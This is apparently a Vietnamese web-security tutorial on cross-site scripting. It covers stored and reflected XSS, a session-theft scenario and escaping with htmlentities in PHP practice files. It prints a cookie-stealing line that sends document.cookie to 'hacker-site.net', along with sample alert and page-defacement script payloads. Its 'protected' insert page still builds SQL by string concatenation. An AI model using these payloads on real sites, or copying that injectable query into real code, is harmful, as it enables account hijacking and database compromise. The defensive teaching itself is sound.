Chương 12-Bài 2. Cách hacker chèn các đoạn mã độc vào Hệ thống bằng cách sử dụng XSS (Cross site scripting) và Cách phòng chống của Quản trị Trang web
Tác giả: Dương Nguyễn Phú Cường
Ngày đăng: Hồi xưa đó
Lượt xem: 948
Tấn công XSS (cross-site scripting)
2.1. XSS là gì
XSS là một kĩ thuật tấn công, trong đó kẻ tấn công sẽ chèn các đoạn mã client-script độc (thường là javascript hoặc HTML) vào trang web, các đoạn mã này sẽ được thực thi khi người dùng truy cập và load trang có chứa mã độc.
Khác với Sql injection nơi mà mã độc được thực thi ở server, XSS là một dạng tấn công trong đó mã độc được thực thi ở máy client. Bởi vì mã độc được chứa ở server nhưng lại được thực thi ở client, do đó kĩ thuật này được gọi là “cross-site” là vì vậy.
2.2. Cách thức hoạt động của XSS
Có thể chia XSS thành 2 loại: Stored-XSS và Reflected-XSS. Cả 2 đều là đưa những đoạn mã độc tới máy client để thực thi, cụ thể là việc hiển thị các nội dung được sinh ra trong quá trình trang web hoạt động, tuy nhiên cách thức có đôi chút khác biệt như sau:
2.2.1. Stored-XSS
Loại tấn công XSS này lợi dụng các lỗ hổng bảo mật của trang web để lưu trữ các đoạn mã độc trên server, mỗi khi người dùng tải trang về thì các đoạn mã độc này sẽ được thực thi. Điển hình nhất của loại tấn công này là lợi dụng các điểm chứa dữ liệu nhập vào từ người dùng như: các ô comment trong trang blog, các ô điền nội dung của thông tin tài khoản công khai, …
Giả sử trang web của chúng ta có ô nhập nội dung comment như sau:
Thay vì nhập comment như bình thường, kẻ tấn công sẽ chèn mã độc, ví dụ như đoạn script sau:
1
<script>alert("XSS");</script>
Khi đó, nếu một người dùng khác truy cập vào trang web này, đoạn script sẽ được kích hoạt, và kết quả của nó như sau:
Trên đây chỉ là 1 ví dụ đơn giản về kĩ thuật tấn công XSS, tất nhiên là kẻ tấn công hoàn toàn có thể chèn vào các đoạn mã nguy hiểm hơn để khai thác thông tin của người dùng. Ta thấy rằng, mặc dù đoạn mã độc này được lưu ở server, nhưng nó lại được thực thi tại máy tính của client, do đó nó được gọi là stored-XSS.
2.2.2. Reflected-XSS
Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first-order XSS.
Ở kĩ thuật tấn công này, mã độc được gắn trực tiếp vào link trang web, một khi bạn truy cập vào đường link có chứa mã độc, thì đoạn mã độc sẽ được thực thi.
Giả sử ta có link trang web sau:
xyz.abc.vn/xss/reflected/index?qid=alert(‘XSS’);
Nếu như trang web này dùng giá trị của tham số qid để hiển thị, thì khi truy cập vào đường link này, ta sẽ bị lỗi XSS.
Kịch bản khai thác trong thực tế
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.
Chi tiết được mô tả theo các bước như sau:
Người dùng đăng nhập web và giả sử được gán session:
Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra
Nạn nhân truy cập đến URL trên
Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript của hacker)
Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.net
Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.
2.3. Các phòng tránh XSS
Như đã đề cập ở trên, mấu chốt của kĩ thuật tấn công này nằm ở chỗ hiển thị các nội dung được nhập vào ở client, do vậy để phòng tránh thì ta sẽ kiểm soát chặt chẽ các nơi có thể hiển thị nội dung.
Cũng tương tự như cách phòng chống Sql injection, mỗi khi nhận vào dữ liệu, ta sẽ thực hiện kiểm tra và mã hoá các kí tự đặc biệt và các kí tự điều khiển có nguy cơ gây hại cho chương trình. Khi đó những kí tự đặc biệt sẽ được biến đổi một cách tương tự như sau:
<script>
sẽ được đổi thành
<script>
Để làm được điều này, trước khi hiển thị thông tin nào đó ra một thẻ HTML, ta luôn thực hiện escape trước ở server để biến đổi các kí tự đặc biệt thành html entity (trong PHP ta có thể sử dụng hàm htmlentities() để làm việc này).
Thực hành
Tạo trang Thêm mới và hiển thị danh sách Hình thức thanh toán
File create.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>XSS Stored và cách phòng chống - Nền tảng .vn</title>
</head>
<body>
<a href="index.php">Danh sách HTTT</a>
<form name="frmHinhThucThanhToan" id="frmHinhThucThanhToan" method="post" action="">
Tên Hình thức thanh toán: <input type="text" name="httt_ten" id="httt_ten" /><br />
<input type="submit" name="btnSave" id="btnSave" value="Lưu dữ liệu" />
</form>
<?php
// Hiển thị tất cả lỗi trong PHP
// Chỉ nên hiển thị lỗi khi đang trong môi trường Phát triển (Development)
// Không nên hiển thị lỗi trên môi trường Triển khai (Production)
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_POST['btnSave'])) {
// 1. Liên kết Database
include_once(__DIR__ . '/../../../dbconnect.php');
// Phân tách thông tin từ người dùng gởi đến qua Request POST
// Sử dụng hàm htmlentites để mã hóa các ký tự có khả năng thực thi JavaScript trước khi lưu trữ
$tenhinhthucthanhtoan = htmlentities( $_POST['httt_ten'] );
// 2. Chuẩn bị QUERY
$sql = "INSERT INTO `hinhthucthanhtoan`(httt_ten) VALUES('$tenhinhthucthanhtoan');";
// print_r($sql);die;
// 3. Thực thi
mysqli_query($conn, $sql);
echo 'Lưu thành công';
};
?>
</body>
</html>
File index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Stored và cách phòng chống - Nền tảng .vn</title>
</head>
<body>
<?php
// Hiển thị tất cả lỗi trong PHP
// Chỉ nên hiển thị lỗi khi đang trong môi trường Phát triển (Development)
// Không nên hiển thị lỗi trên môi trường Triển khai (Production)
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Truy vấn database
// 1. Include file cấu hình kết nối đến database, khởi tạo kết nối $conn
include_once(__DIR__ . '/../../../dbconnect.php');
// 2. Câu lệnh SELECT
$sqlSelect = <<<EOT
SELECT *
FROM hinhthucthanhtoan
EOT;
// 3. Thực thi SELECT
$result = mysqli_query($conn, $sqlSelect);
// 4. Khi thực thi các truy vấn dạng SELECT, dữ liệu lấy về cần phải phân tích để sử dụng
// Thông thường, chúng ta sẽ sử dụng vòng lặp while để duyệt danh sách các dòng dữ liệu được SELECT
// Ta sẽ tạo 1 mảng array để chứa các dữ liệu được trả về
$ds_hinhthucthanhtoan = [];
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$ds_hinhthucthanhtoan[] = array(
'httt_ma' => $row['httt_ma'],
'httt_ten' => $row['httt_ten'],
);
}
?>
<a href="create.php">Thêm mới HTTT</a>
<table border="1" width="800px">
<tr>
<th>Mã HTTT</th>
<th>Tên HTTT</th>
</tr>
<?php foreach($ds_hinhthucthanhtoan as $httt): ?>
<tr>
<td><?= $httt['httt_ma'] ?></td>
<td><?= $httt['httt_ten'] ?></td>
</tr>
<?php endforeach; ?>
</table>
</body>
</html>
Ví dụ nhập liệu
Nhập các mẫu hack sau:
<script>alert("Xin chào, tôi là XSS hack");</script>
Chèn ảnh và đoạn text từ trang khác vào trang Victim (nạn nhân) / trang bị Hack
<script>var div = document.createElement("div"); var img = document.createElement("img"); img.src = "https://nentang.vn/wp-content/uploads/2019/06/logo-nentang.jpg"; document.querySelectorAll('body')[0].appendChild(img); div.innerHTML = "<h1>Xin chào, hacked by NenTang.vn ;P</h1>"; document.querySelectorAll('body')[0].appendChild(div);</script>